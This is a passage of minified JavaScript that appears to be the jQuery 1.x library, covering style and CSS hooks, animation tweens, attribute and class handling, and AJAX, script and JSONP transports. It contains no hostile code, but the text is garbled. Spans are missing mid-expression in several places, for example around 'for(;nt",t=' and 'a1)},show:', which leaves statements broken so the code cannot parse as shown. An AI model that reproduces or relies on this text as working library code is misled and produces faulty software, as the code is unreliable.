e&&!nt.test(e)&&(fe.htmlSerialize||!et.test(e))&&(fe.leadingWhitespace||!$e.test(e))&&!Xe[(We.exec(e)||["",""])[1].toLowerCase()]){e=pe.htmlPrefilter(e);try{for(;nt",t=l.getElementsByTagName("td"),t[0].style.cssText="margin:0;border:0;padding:0;display:none",o=0===t[0].offsetHeight,o&&(t[0].style.display="",t[1].style.display="none",o=0===t[0].offsetHeight)),f.removeChild(u)}var n,r,i,o,a,s,u=re.createElement("div"),l=re.createElement("div");l.style&&(l.style.cssText="float:left;opacity:.5",fe.opacity="0.5"===l.style.opacity,fe.cssFloat=!!l.style.cssFloat,l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",fe.clearCloneStyle="content-box"===l.style.backgroundClip,u=re.createElement("div"),u.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",l.innerHTML="",u.appendChild(l),fe.boxSizing=""===l.style.boxSizing||""===l.style.MozBoxSizing||""===l.style.WebkitBoxSizing,pe.extend(fe,{reliableHiddenOffsets:function(){return null==n&&t(),o},boxSizingReliable:function(){return null==n&&t(),i},pixelMarginRight:function(){return null==n&&t(),r},pixelPosition:function(){return null==n&&t(),n},reliableMarginRight:function(){return null==n&&t(),a},reliableMarginLeft:function(){return null==n&&t(),s}}))}();var ht,gt,mt=/^(top|right|bottom|left)$/;e.getComputedStyle?(ht=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},gt=function(e,t,n){var r,i,o,a,s=e.style;return n=n||ht(e),a=n?n.getPropertyValue(t)||n[t]:void 0,""!==a&&void 0!==a||pe.contains(e.ownerDocument,e)||(a=pe.style(e,t)),n&&!fe.pixelMarginRight()&&ft.test(a)&&ct.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o),void 0===a?a:a+""}):pt.currentStyle&&(ht=function(e){return e.currentStyle},gt=function(e,t,n){var r,i,o,a,s=e.style;return n=n||ht(e),a=n?n[t]:void 0,null==a&&s&&s[t]&&(a=s[t]),ft.test(a)&&!mt.test(t)&&(r=s.left,i=e.runtimeStyle,o=i&&i.left,o&&(i.left=e.currentStyle.left),s.left="fontSize"===t?"1em":a,a=s.pixelLeft+"px",s.left=r,o&&(i.left=o)),void 0===a?a:a+""||"auto"});var yt=/alpha\([^)]*\)/i,vt=/opacity\s*=\s*([^)]*)/i,xt=/^(none|table(?!-c[ea]).+)/,bt=new RegExp("^("+Fe+")(.*)$","i"),wt={position:"absolute",visibility:"hidden",display:"block"},Tt={letterSpacing:"0",fontWeight:"400"},Ct=["Webkit","O","Moz","ms"],Et=re.createElement("div").style;pe.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=gt(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":fe.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=pe.camelCase(t),u=e.style;if(t=pe.cssProps[s]||(pe.cssProps[s]=H(s)||s),a=pe.cssHooks[t]||pe.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:u[t];if(o=typeof n,"string"===o&&(i=Me.exec(n))&&i[1]&&(n=d(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(pe.cssNumber[s]?"":"px")),fe.clearCloneStyle||""!==n||0!==t.indexOf("background")||(u[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{u[t]=n}catch(l){}}},css:function(e,t,n,r){var i,o,a,s=pe.camelCase(t);return t=pe.cssProps[s]||(pe.cssProps[s]=H(s)||s),a=pe.cssHooks[t]||pe.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=gt(e,t,r)),"normal"===o&&t in Tt&&(o=Tt[t]),""===n||n?(i=parseFloat(o),n===!0||isFinite(i)?i||0:o):o}}),pe.each(["height","width"],function(e,t){pe.cssHooks[t]={get:function(e,n,r){if(n)return xt.test(pe.css(e,"display"))&&0===e.offsetWidth?dt(e,wt,function(){return M(e,t,r)}):M(e,t,r)},set:function(e,n,r){var i=r&&ht(e);return _(e,n,r?F(e,t,r,fe.boxSizing&&"border-box"===pe.css(e,"boxSizing",!1,i),i):0)}}}),fe.opacity||(pe.cssHooks.opacity={get:function(e,t){return vt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=pe.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===pe.trim(o.replace(yt,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=yt.test(o)?o.replace(yt,i):o+" "+i)}}),pe.cssHooks.marginRight=L(fe.reliableMarginRight,function(e,t){if(t)return dt(e,{display:"inline-block"},gt,[e,"marginRight"])}),pe.cssHooks.marginLeft=L(fe.reliableMarginLeft,function(e,t){if(t)return(parseFloat(gt(e,"marginLeft"))||(pe.contains(e.ownerDocument,e)?e.getBoundingClientRect().left-dt(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}):0))+"px"}),pe.each({margin:"",padding:"",border:"Width"},function(e,t){pe.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+Oe[r]+t]=o[r]||o[r-2]||o[0];return i}},ct.test(e)||(pe.cssHooks[e+t].set=_)}),pe.fn.extend({css:function(e,t){return Pe(this,function(e,t,n){var r,i,o={},a=0;if(pe.isArray(t)){for(r=ht(e),i=t.length;a1)},show:function(){return q(this,!0)},hide:function(){return q(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){Re(this)?pe(this).show():pe(this).hide()})}}),pe.Tween=O,O.prototype={constructor:O,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||pe.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(pe.cssNumber[n]?"":"px")},cur:function(){var e=O.propHooks[this.prop];return e&&e.get?e.get(this):O.propHooks._default.get(this)},run:function(e){var t,n=O.propHooks[this.prop];return this.options.duration?this.pos=t=pe.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):O.propHooks._default.set(this),this}},O.prototype.init.prototype=O.prototype,O.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=pe.css(e.elem,e.prop,""),t&&"auto"!==t?t:0)},set:function(e){pe.fx.step[e.prop]?pe.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[pe.cssProps[e.prop]]&&!pe.cssHooks[e.prop]?e.elem[e.prop]=e.now:pe.style(e.elem,e.prop,e.now+e.unit)}}},O.propHooks.scrollTop=O.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},pe.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},pe.fx=O.prototype.init,pe.fx.step={};var Nt,kt,St=/^(?:toggle|show|hide)$/,At=/queueHooks$/;pe.Animation=pe.extend($,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return d(n.elem,e,Me.exec(t),n),n}]},tweener:function(e,t){pe.isFunction(e)?(t=e,e=["*"]):e=e.match(De);for(var n,r=0,i=e.length;r
    a",e=n.getElementsByTagName("a")[0],t.setAttribute("type","checkbox"),n.appendChild(t),e=n.getElementsByTagName("a")[0],e.style.cssText="top:1px",fe.getSetAttribute="t"!==n.className,fe.style=/top/.test(e.getAttribute("style")),fe.hrefNormalized="/a"===e.getAttribute("href"),fe.checkOn=!!t.value,fe.optSelected=i.selected,fe.enctype=!!re.createElement("form").enctype,r.disabled=!0,fe.optDisabled=!i.disabled,t=re.createElement("input"),t.setAttribute("value",""),fe.input=""===t.getAttribute("value"),t.value="t",t.setAttribute("type","radio"),fe.radioValue="t"===t.value}();var Dt=/\r/g,jt=/[\x20\t\r\n\f]+/g;pe.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=pe.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,pe(this).val()):e,null==i?i="":"number"==typeof i?i+="":pe.isArray(i)&&(i=pe.map(i,function(e){return null==e?"":e+""})),t=pe.valHooks[this.type]||pe.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=pe.valHooks[i.type]||pe.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(Dt,""):null==n?"":n)}}}),pe.extend({valHooks:{option:{get:function(e){var t=pe.find.attr(e,"value");return null!=t?t:pe.trim(pe.text(e)).replace(jt," ")}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||i<0,a=o?null:[],s=o?i+1:r.length,u=i<0?s:o?i:0;u-1)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),pe.each(["radio","checkbox"],function(){pe.valHooks[this]={set:function(e,t){if(pe.isArray(t))return e.checked=pe.inArray(pe(e).val(),t)>-1}},fe.checkOn||(pe.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Lt,Ht,qt=pe.expr.attrHandle,_t=/^(?:checked|selected)$/i,Ft=fe.getSetAttribute,Mt=fe.input;pe.fn.extend({attr:function(e,t){return Pe(this,pe.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){pe.removeAttr(this,e)})}}),pe.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?pe.prop(e,t,n):(1===o&&pe.isXMLDoc(e)||(t=t.toLowerCase(),i=pe.attrHooks[t]||(pe.expr.match.bool.test(t)?Ht:Lt)),void 0!==n?null===n?void pe.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:(r=pe.find.attr(e,t),null==r?void 0:r))},attrHooks:{type:{set:function(e,t){if(!fe.radioValue&&"radio"===t&&pe.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(De);if(o&&1===e.nodeType)for(;n=o[i++];)r=pe.propFix[n]||n,pe.expr.match.bool.test(n)?Mt&&Ft||!_t.test(n)?e[r]=!1:e[pe.camelCase("default-"+n)]=e[r]=!1:pe.attr(e,n,""),e.removeAttribute(Ft?n:r)}}),Ht={set:function(e,t,n){return t===!1?pe.removeAttr(e,n):Mt&&Ft||!_t.test(n)?e.setAttribute(!Ft&&pe.propFix[n]||n,n):e[pe.camelCase("default-"+n)]=e[n]=!0,n}},pe.each(pe.expr.match.bool.source.match(/\w+/g),function(e,t){var n=qt[t]||pe.find.attr;Mt&&Ft||!_t.test(t)?qt[t]=function(e,t,r){var i,o;return r||(o=qt[t],qt[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,qt[t]=o),i}:qt[t]=function(e,t,n){if(!n)return e[pe.camelCase("default-"+t)]?t.toLowerCase():null}}),Mt&&Ft||(pe.attrHooks.value={set:function(e,t,n){return pe.nodeName(e,"input")?void(e.defaultValue=t):Lt&&Lt.set(e,t,n)}}),Ft||(Lt={set:function(e,t,n){var r=e.getAttributeNode(n);if(r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n))return t}},qt.id=qt.name=qt.coords=function(e,t,n){var r;if(!n)return(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},pe.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);if(n&&n.specified)return n.value},set:Lt.set},pe.attrHooks.contenteditable={set:function(e,t,n){Lt.set(e,""!==t&&t,n)}},pe.each(["width","height"],function(e,t){pe.attrHooks[t]={set:function(e,n){if(""===n)return e.setAttribute(t,"auto"),n}}})),fe.style||(pe.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var Ot=/^(?:input|select|textarea|button|object)$/i,Rt=/^(?:a|area)$/i;pe.fn.extend({prop:function(e,t){return Pe(this,pe.prop,e,t,arguments.length>1)},removeProp:function(e){return e=pe.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete this[e]}catch(t){}})}}),pe.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&pe.isXMLDoc(e)||(t=pe.propFix[t]||t,i=pe.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=pe.find.attr(e,"tabindex");return t?parseInt(t,10):Ot.test(e.nodeName)||Rt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),fe.hrefNormalized||pe.each(["href","src"],function(e,t){pe.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),fe.optSelected||(pe.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),pe.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){pe.propFix[this.toLowerCase()]=this}),fe.enctype||(pe.propFix.enctype="encoding");var Pt=/[\t\r\n\f]/g;pe.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(pe.isFunction(e))return this.each(function(t){pe(this).addClass(e.call(this,t,z(this)))});if("string"==typeof e&&e)for(t=e.match(De)||[];n=this[u++];)if(i=z(n),r=1===n.nodeType&&(" "+i+" ").replace(Pt," ")){for(a=0;o=t[a++];)r.indexOf(" "+o+" ")<0&&(r+=o+" ");s=pe.trim(r),i!==s&&pe.attr(n,"class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(pe.isFunction(e))return this.each(function(t){pe(this).removeClass(e.call(this,t,z(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof e&&e)for(t=e.match(De)||[];n=this[u++];)if(i=z(n),r=1===n.nodeType&&(" "+i+" ").replace(Pt," ")){for(a=0;o=t[a++];)for(;r.indexOf(" "+o+" ")>-1;)r=r.replace(" "+o+" "," ");s=pe.trim(r),i!==s&&pe.attr(n,"class",s)}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):pe.isFunction(e)?this.each(function(n){pe(this).toggleClass(e.call(this,n,z(this),t),t)}):this.each(function(){var t,r,i,o;if("string"===n)for(r=0,i=pe(this),o=e.match(De)||[];t=o[r++];)i.hasClass(t)?i.removeClass(t):i.addClass(t);else void 0!==e&&"boolean"!==n||(t=z(this),t&&pe._data(this,"__className__",t),pe.attr(this,"class",t||e===!1?"":pe._data(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;for(t=" "+e+" ";n=this[r++];)if(1===n.nodeType&&(" "+z(n)+" ").replace(Pt," ").indexOf(t)>-1)return!0;return!1}}),pe.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){pe.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),pe.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}});var Bt=e.location,Wt=pe.now(),It=/\?/,$t=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;pe.parseJSON=function(t){if(e.JSON&&e.JSON.parse)return e.JSON.parse(t+"");var n,r=null,i=pe.trim(t+"");return i&&!pe.trim(i.replace($t,function(e,t,i,o){return n&&t&&(r=0),0===r?e:(n=i||t,r+=!o-!i,"")}))?Function("return "+i)():pe.error("Invalid JSON: "+t)},pe.parseXML=function(t){var n,r;if(!t||"string"!=typeof t)return null;try{e.DOMParser?(r=new e.DOMParser,n=r.parseFromString(t,"text/xml")):(n=new e.ActiveXObject("Microsoft.XMLDOM"),n.async="false",n.loadXML(t))}catch(i){n=void 0}return n&&n.documentElement&&!n.getElementsByTagName("parsererror").length||pe.error("Invalid XML: "+t),n};var zt=/#.*$/,Xt=/([?&])_=[^&]*/,Ut=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Vt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Yt=/^(?:GET|HEAD)$/,Jt=/^\/\//,Gt=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Kt={},Qt={},Zt="*/".concat("*"),en=Bt.href,tn=Gt.exec(en.toLowerCase())||[];pe.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:en,type:"GET",isLocal:Vt.test(tn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Zt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":pe.parseJSON,"text xml":pe.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?V(V(e,pe.ajaxSettings),t):V(pe.ajaxSettings,e)},ajaxPrefilter:X(Kt),ajaxTransport:X(Qt),ajax:function(t,n){function r(t,n,r,i){var o,f,v,x,w,C=n;2!==b&&(b=2,u&&e.clearTimeout(u),c=void 0,s=i||"",T.readyState=t>0?4:0,o=t>=200&&t<300||304===t,r&&(x=Y(d,T,r)),x=J(d,x,T,o),o?(d.ifModified&&(w=T.getResponseHeader("Last-Modified"),w&&(pe.lastModified[a]=w),w=T.getResponseHeader("etag"),w&&(pe.etag[a]=w)),204===t||"HEAD"===d.type?C="nocontent":304===t?C="notmodified":(C=x.state,f=x.data,v=x.error,o=!v)):(v=C,!t&&C||(C="error",t<0&&(t=0))),T.status=t,T.statusText=(n||C)+"",o?g.resolveWith(p,[f,C,T]):g.rejectWith(p,[T,C,v]),T.statusCode(y),y=void 0,l&&h.trigger(o?"ajaxSuccess":"ajaxError",[T,d,o?f:v]),m.fireWith(p,[T,C]),l&&(h.trigger("ajaxComplete",[T,d]),--pe.active||pe.event.trigger("ajaxStop")))}"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,d=pe.ajaxSetup({},n),p=d.context||d,h=d.context&&(p.nodeType||p.jquery)?pe(p):pe.event,g=pe.Deferred(),m=pe.Callbacks("once memory"),y=d.statusCode||{},v={},x={},b=0,w="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!f)for(f={};t=Ut.exec(s);)f[t[1].toLowerCase()]=t[2];t=f[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?s:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=x[n]=x[n]||e,v[e]=t),this},overrideMimeType:function(e){return b||(d.mimeType=e),this},statusCode:function(e){var t;if(e)if(b<2)for(t in e)y[t]=[y[t],e[t]];else T.always(e[T.status]);return this},abort:function(e){var t=e||w;return c&&c.abort(t),r(0,t),this}};if(g.promise(T).complete=m.add,T.success=T.done,T.error=T.fail,d.url=((t||d.url||en)+"").replace(zt,"").replace(Jt,tn[1]+"//"),d.type=n.method||n.type||d.method||d.type,d.dataTypes=pe.trim(d.dataType||"*").toLowerCase().match(De)||[""],null==d.crossDomain&&(i=Gt.exec(d.url.toLowerCase()),d.crossDomain=!(!i||i[1]===tn[1]&&i[2]===tn[2]&&(i[3]||("http:"===i[1]?"80":"443"))===(tn[3]||("http:"===tn[1]?"80":"443")))),d.data&&d.processData&&"string"!=typeof d.data&&(d.data=pe.param(d.data,d.traditional)),U(Kt,d,n,T),2===b)return T;l=pe.event&&d.global,l&&0===pe.active++&&pe.event.trigger("ajaxStart"),d.type=d.type.toUpperCase(),d.hasContent=!Yt.test(d.type),a=d.url,d.hasContent||(d.data&&(a=d.url+=(It.test(a)?"&":"?")+d.data,delete d.data),d.cache===!1&&(d.url=Xt.test(a)?a.replace(Xt,"$1_="+Wt++):a+(It.test(a)?"&":"?")+"_="+Wt++)),d.ifModified&&(pe.lastModified[a]&&T.setRequestHeader("If-Modified-Since",pe.lastModified[a]),pe.etag[a]&&T.setRequestHeader("If-None-Match",pe.etag[a])),(d.data&&d.hasContent&&d.contentType!==!1||n.contentType)&&T.setRequestHeader("Content-Type",d.contentType),T.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+("*"!==d.dataTypes[0]?", "+Zt+"; q=0.01":""):d.accepts["*"]);for(o in d.headers)T.setRequestHeader(o,d.headers[o]);if(d.beforeSend&&(d.beforeSend.call(p,T,d)===!1||2===b))return T.abort();w="abort";for(o in{success:1,error:1,complete:1})T[o](d[o]);if(c=U(Qt,d,n,T)){if(T.readyState=1,l&&h.trigger("ajaxSend",[T,d]),2===b)return T;d.async&&d.timeout>0&&(u=e.setTimeout(function(){T.abort("timeout")},d.timeout));try{b=1,c.send(v,r)}catch(C){if(!(b<2))throw C;r(-1,C)}}else r(-1,"No Transport");return T},getJSON:function(e,t,n){return pe.get(e,t,n,"json")},getScript:function(e,t){return pe.get(e,void 0,t,"script")}}),pe.each(["get","post"],function(e,t){pe[t]=function(e,n,r,i){return pe.isFunction(n)&&(i=i||r,r=n,n=void 0),pe.ajax(pe.extend({url:e,type:t,dataType:i,data:n,success:r},pe.isPlainObject(e)&&e))}}),pe._evalUrl=function(e){return pe.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},pe.fn.extend({wrapAll:function(e){if(pe.isFunction(e))return this.each(function(t){pe(this).wrapAll(e.call(this,t))});if(this[0]){var t=pe(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstChild&&1===e.firstChild.nodeType;)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return pe.isFunction(e)?this.each(function(t){pe(this).wrapInner(e.call(this,t))}):this.each(function(){var t=pe(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=pe.isFunction(e);return this.each(function(n){pe(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){pe.nodeName(this,"body")||pe(this).replaceWith(this.childNodes)}).end()}}),pe.expr.filters.hidden=function(e){return fe.reliableHiddenOffsets()?e.offsetWidth<=0&&e.offsetHeight<=0&&!e.getClientRects().length:K(e)},pe.expr.filters.visible=function(e){return!pe.expr.filters.hidden(e)};var nn=/%20/g,rn=/\[\]$/,on=/\r?\n/g,an=/^(?:submit|button|image|reset|file)$/i,sn=/^(?:input|select|textarea|keygen)/i;pe.param=function(e,t){var n,r=[],i=function(e,t){t=pe.isFunction(t)?t():null==t?"":t,r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(void 0===t&&(t=pe.ajaxSettings&&pe.ajaxSettings.traditional),pe.isArray(e)||e.jquery&&!pe.isPlainObject(e))pe.each(e,function(){i(this.name,this.value)});else for(n in e)Q(n,e[n],t,i);return r.join("&").replace(nn,"+")},pe.fn.extend({serialize:function(){return pe.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=pe.prop(this,"elements");return e?pe.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!pe(this).is(":disabled")&&sn.test(this.nodeName)&&!an.test(e)&&(this.checked||!Be.test(e))}).map(function(e,t){var n=pe(this).val();return null==n?null:pe.isArray(n)?pe.map(n,function(e){return{name:t.name,value:e.replace(on,"\r\n")}}):{name:t.name,value:n.replace(on,"\r\n")}}).get()}}),pe.ajaxSettings.xhr=void 0!==e.ActiveXObject?function(){return this.isLocal?ee():re.documentMode>8?Z():/^(get|post|head|put|delete|options)$/i.test(this.type)&&Z()||ee()}:Z;var un=0,ln={},cn=pe.ajaxSettings.xhr();e.attachEvent&&e.attachEvent("onunload",function(){for(var e in ln)ln[e](void 0,!0)}),fe.cors=!!cn&&"withCredentials"in cn,cn=fe.ajax=!!cn,cn&&pe.ajaxTransport(function(t){if(!t.crossDomain||fe.cors){var n;return{send:function(r,i){var o,a=t.xhr(),s=++un;if(a.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(o in t.xhrFields)a[o]=t.xhrFields[o];t.mimeType&&a.overrideMimeType&&a.overrideMimeType(t.mimeType),t.crossDomain||r["X-Requested-With"]||(r["X-Requested-With"]="XMLHttpRequest");for(o in r)void 0!==r[o]&&a.setRequestHeader(o,r[o]+"");a.send(t.hasContent&&t.data||null),n=function(e,r){var o,u,l;if(n&&(r||4===a.readyState))if(delete ln[s],n=void 0,a.onreadystatechange=pe.noop,r)4!==a.readyState&&a.abort();else{l={},o=a.status,"string"==typeof a.responseText&&(l.text=a.responseText);try{u=a.statusText}catch(c){u=""}o||!t.isLocal||t.crossDomain?1223===o&&(o=204):o=l.text?200:404}l&&i(o,u,l,a.getAllResponseHeaders())},t.async?4===a.readyState?e.setTimeout(n):a.onreadystatechange=ln[s]=n:n()},abort:function(){n&&n(void 0,!0)}}}}),pe.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return pe.globalEval(e),e}}}),pe.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),pe.ajaxTransport("script",function(e){if(e.crossDomain){var t,n=re.head||pe("head")[0]||re.documentElement;return{send:function(r,i){t=re.createElement("script"),t.async=!0,e.scriptCharset&&(t.charset=e.scriptCharset),t.src=e.url,t.onload=t.onreadystatechange=function(e,n){(n||!t.readyState||/loaded|complete/.test(t.readyState))&&(t.onload=t.onreadystatechange=null,t.parentNode&&t.parentNode.removeChild(t),t=null,n||i(200,"success"))},n.insertBefore(t,n.firstChild)},abort:function(){t&&t.onload(void 0,!0)}}}});var fn=[],dn=/(=)\?(?=&|$)|\?\?/;pe.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=fn.pop()||pe.expando+"_"+Wt++;return this[e]=!0,e}}),pe.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=t.jsonp!==!1&&(dn.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&dn.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=pe.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(dn,"$1"+i):t.jsonp!==!1&&(t.url+=(It.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||pe.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?pe(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,fn.push(i)),a&&pe.isFunction(o)&&o(a[0]),a=o=void 0}),"script"}),pe.parseHTML=function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||re;var r=Te.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=y([e],t,i),i&&i.length&&pe(i).remove(),pe.merge([],r.childNodes))};var pn=pe.fn.load;return pe.fn.load=function(e,t,n){if("string"!=typeof e&&pn)return pn.apply(this,arguments);var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=pe.trim(e.slice(s,e.length)),e=e.slice(0,s)),pe.isFunction(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&pe.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?pe("
